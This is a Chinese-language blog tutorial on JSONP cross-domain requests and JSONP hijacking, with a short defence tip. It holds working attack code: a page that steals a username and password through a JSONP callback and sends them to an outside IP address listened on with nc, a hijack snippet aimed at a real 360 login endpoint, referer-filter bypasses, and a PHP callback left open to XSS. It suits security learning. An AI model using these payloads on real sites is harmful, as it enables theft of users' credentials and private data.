JSONP劫持

JSONP跨域

主要介绍下JSONP,JSONP跨域巧妙的利用了script标签能跨域的特点,实现了json的跨域传输。

JSONP原型理解

test.html

1
2
3
4
5
6
7
<script type="text/javascript">
//回调函数
function callback(data) {
alert(data.message);
}
</script>
<script type="text/javascript" src="http://120.77.174.89:10080/test.js"></script>

test.js

1
callback({message:"success"});

访问test.html

ZvOsPJ.png

上述形式也就是JSONP的原型,通过调用回调函数来返回所需要的数据。将JSON数据填充进回调函数,也就是JSONP—–JSON+Padding。

来看一下比较官方的JSONP跨域代码—–Google的Ajax搜索方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<script type="text/javascript">
//添加<script>标签的方法
function addScriptTag(src){
var script = document.createElement('script');
script.setAttribute("type","text/javascript");
script.src = src;
document.body.appendChild(script);
}

window.onload = function(){
//搜索apple,将自定义的回调函数名result传入callback参数中
addScriptTag("http://ajax.googleapis.com/ajax/services/search/web?v=1.0&q=apple&callback=result");

}
//自定义的回调函数result
function result(data) {
//我们就简单的获取apple搜索结果的第一条记录中url数据
alert(data.responseData.results[0].unescapedUrl);
}

</script>

也是同样的逻辑,利用回调函数调用result函数将数据取出,这里重点解释一下window.onload的作用,在function addScriptTag中的最后一段代码document.body.appendChild(script),这个script标签是要放到body中的,而我们的js代码是在head中的,此时body还没有初始化完毕,所以需要window.onload先进行初始化页面,当页面一初始化完毕,立刻执行此函数方法。

一些JSONP服务接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Digg API:来自 Digg 的头条新闻:

  http://services.digg.com/stories/top?appkey=http%3A%2F%2Fmashup.com&type=javascript&callback=?

Geonames API:邮编的位置信息:

  http://www.geonames.org/postalCodeLookupJSON?postalcode=10504&country=US&callback=?

Flickr JSONP API:载入最新猫的图片:

  http://api.flickr.com/services/feeds/photos_public.gne?tags=cat&tagmode=any&format=json&jsoncallback=?

Yahoo Local Search API:在邮编为 10504 的地区搜索比萨:

  http://local.yahooapis.com/LocalSearchService/V3/localSearch?appid=YahooDemo&query=pizza&zip=10504&results=2&output=json&callback=

jQuery的jsonp实现

1
2
3
4
5
</script>  
$.getJSON("http://xxx/xxx?callback=?",function(data){
alert(data.name + " is a a" + data.sex);
});
</script>

url后面必须要添加一个callback参数,这样getJSON方法才会知道是用JSONP方式去访问服务,callback后面的那个问号是内部自动生成的一个回调函数名。类似这个形式jQuery32108394227022163139_1498134481374

如果想要自己规定函数名字,可以用以下形式的JSONP调用,实例如下

1
2
3
4
5
6
7
8
9
10
11
12
$.ajax({
type: "get",
url: "http://localhost/xxx/ProcessCallback", // 这个就是不同于当前域的一个URL地址,这里单纯演示,所以同域
dataType: "jsonp",
jsonp: "jsonpcallback", // 指定回调函数,这里名字可以为其他任意你喜欢的,比如callback,不过必须与下一行的GET参数一致
data: "name=jxq&email=feichexia@yahoo.com.cn&jsonpcallback=?", // jsonpcallback与上面的jsonp值一致
success: function (json) {
alert(json.Name);
alert(json.Email);
}

)};

这样就可以指定自己想要的回调函数名字了。

JSONP劫持

在上文中已经比较详细的说明了JSONP跨域了,那么下面就来说一下JSONP劫持了,先来一个官方定义

JSON 劫持又为“ JSON Hijacking ”,最开始提出这个概念大概是在 2008 年国外有安全研究人员提到这个 JSONP 带来的风险。其实这个问题属于 CSRF( Cross-site request forgery 跨站请求伪造)攻击范畴。当某网站听过 JSONP 的方式来快域(一般为子域)传递用户认证后的敏感信息时,攻击者可以构造恶意的 JSONP 调用页面,诱导被攻击者访问来达到截取用户敏感信息的目的。一个典型的 JSON Hijacking 攻击代码:

1
2
3
4
5
6
7
<script>
function wooyun(v){
alert(v.username);
}
</script>

<script src="http://js.login.360.cn/?o=sso&m=info&func=wooyun"></script>

这个是在乌云网上报告的一个攻击例子( WooYun-2012-11284 )http://www.wooyun.org/bug.php?action=view&id=11284 当被攻击者在登陆 360 网站的情况下访问了该网页时,那么用户的隐私数据(如用户名,邮箱等)可能被攻击者劫持。也就是当用户点击此链接,则会触发我们构造wooyun函数,进行返回用户的json数据并且显示出来。

也可以使用jQuery调用jsonp,payload如下

1
2
3
4
5
<script type="text/javascript">    
$.getJSON("http://xxx/xxx?callback=?", function(getUsers){
alert(getUsers.name);
});
</script>

模拟场景实战:

test.php(储存着用户的数据)

1
2
3
4
5
6
7
8
<?php
header('Content-type: application/json');
$jsoncallback = htmlspecialchars($_REQUEST ['callback']);//获取回调函数名
//json数据
//$json_data = '["id","user"]';
$json_data='({"password":"123456","name":"lihuaiqiu"})';
echo $jsoncallback . "(" . $json_data . ")";//输出jsonp格式的数据
?>

json.html恶意链接模仿用户点击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<!DOCTYPE html>
<html>
<head>

<title></title>

</head>
<body>

<p id="demo"></p>

<script type="text/javascript">

function callbackFunction(result)
{
var password=result.password;
var username=result.name;
var xhttp;
xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = this.responseText;
}};
xhttp.open("GET","http://120.77.174.89:12333/?username="+username+"&password="+password,true);
xhttp.send();
}

</script>

<script type="text/javascript" src="http://139.224.236.99/test.php?callback=callbackFunction"></script>

</body>
</html>

本地nc监听

ZxrmsP.png

成功拿到数据。

其实如果只是用来漏洞验证的话,完全可以直接写一个回调函数将数据alert出来。

JSONP劫持的挖掘手法

既然知道的JSONP劫持的作用,该怎么去挖掘这种类型漏洞,这里是在圆圆师傅博客学到的在挖掘微博的JSONP劫持的思路,在他的博客中是以微博为例子的,可能是因为我菜吧…,并没有找到这个接口,于是我在腾讯视频亲爱的热爱的这部电视剧去试着寻找了一下,找到了两处,其中有一处是jQuery的调用,不过都没有敏感信息的涉及,跟着分析一下这两处的调用。

全局搜索callback

ZzAqTH.png

跟进_user0函数

ZzZOk4.png

跟着仔细看一下callback的json数据

Zzm7oF.png

但是这个JSON数据并不涉及一些敏感数据,但是如果我们测试出来了一些敏感信息如(csrf_token,email之类的)的话,接下来就可以换不同的Referer去尝试访问此链接,如果能成的话,就可以构造JSONP劫持去得到敏感信息,如上文的脚本。从这个过程来看,jsonp劫持这个名字似乎起的很恰当,本来应该是正常的网页通过函数回调来取得一些JSON数据进行一些操作,但是在没有安全验证的情况(指Referer一些的验证),我们可以通过自己构造好的脚本来劫持掉传输的JSON的数据,所以成为JSONP劫持。

referer的绕过手段
  • 正则设置不当,通过购买适当的域名进行绕过

对于http://www.qq.com/login.php?calback=cb,如果referer中的正则检测的只是域名中是否包含qq.com进行过滤,那么我们完全可以通过http://qq.com.hacker.com/hacker.html这种url进行绕过。

  • 空referer绕过

在很多情况下,开发者在部署过滤 Referer 来源时,忽视了一个空 Referer 的过滤。一般情况下浏览器直接访问某 URL 是不带 Referer 的,所以很多防御部署是允许空 Referer 的。实例如下

1
<iframe src="javascript:'<script>function JSON(o){alert(o.userinfo.userid);}</script><script src=http://www.qq.com/login.php?calback=JSON></script>'"></iframe>

调用javascript伪协议实现空referer绕过。

自定义回调函数产生Xss漏洞

对于如下代码

1
2
3
4
5
6
7
<?php
$jsoncallback = $_REQUEST ['callback'];//获取回调函数名
//json数据
//$json_data = '["id","user"]';
$json_data='({"password":"123456","name":"lihuaiqiu"})';
echo $jsoncallback . "(" . $json_data . ")";//输出jsonp格式的数据
?>

可成功通过callback造成xss

ZzuQHK.png

防御手段:可以设置Conten-type为application/json或application/javascript,或者把输入的内容进行实体编码。

总结

jsonp劫持的思路也就是通过搜索callback之类的关键词,或者cb以及jsoncallback之类的,再次搜索调用的函数名,看一下json数据是否包含敏感的数据,如果包含的话,则可以配合不同referer加绕过过滤的方法验证是否存在,其实最好的方法还是通过脚本是FUZZ,找到的话,可以通过自己构造的脚本进行jsonp敏感信息的劫持,如得到csrf_token,可将漏洞进一步扩大化。

参考链接

https://www.k0rz3n.com/2019/03/07/JSONP%20%E5%8A%AB%E6%8C%81%E5%8E%9F%E7%90%86%E4%B8%8E%E6%8C%96%E6%8E%98%E6%96%B9%E6%B3%95/#0X04-JSONP-%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%E6%8A%80%E5%B7%A7

https://evoa.me/index.php/archives/43/

http://blog.knownsec.com/2015/03/jsonp_security_technic/

https://www.cnblogs.com/chopper/archive/2012/03/24/2403945.html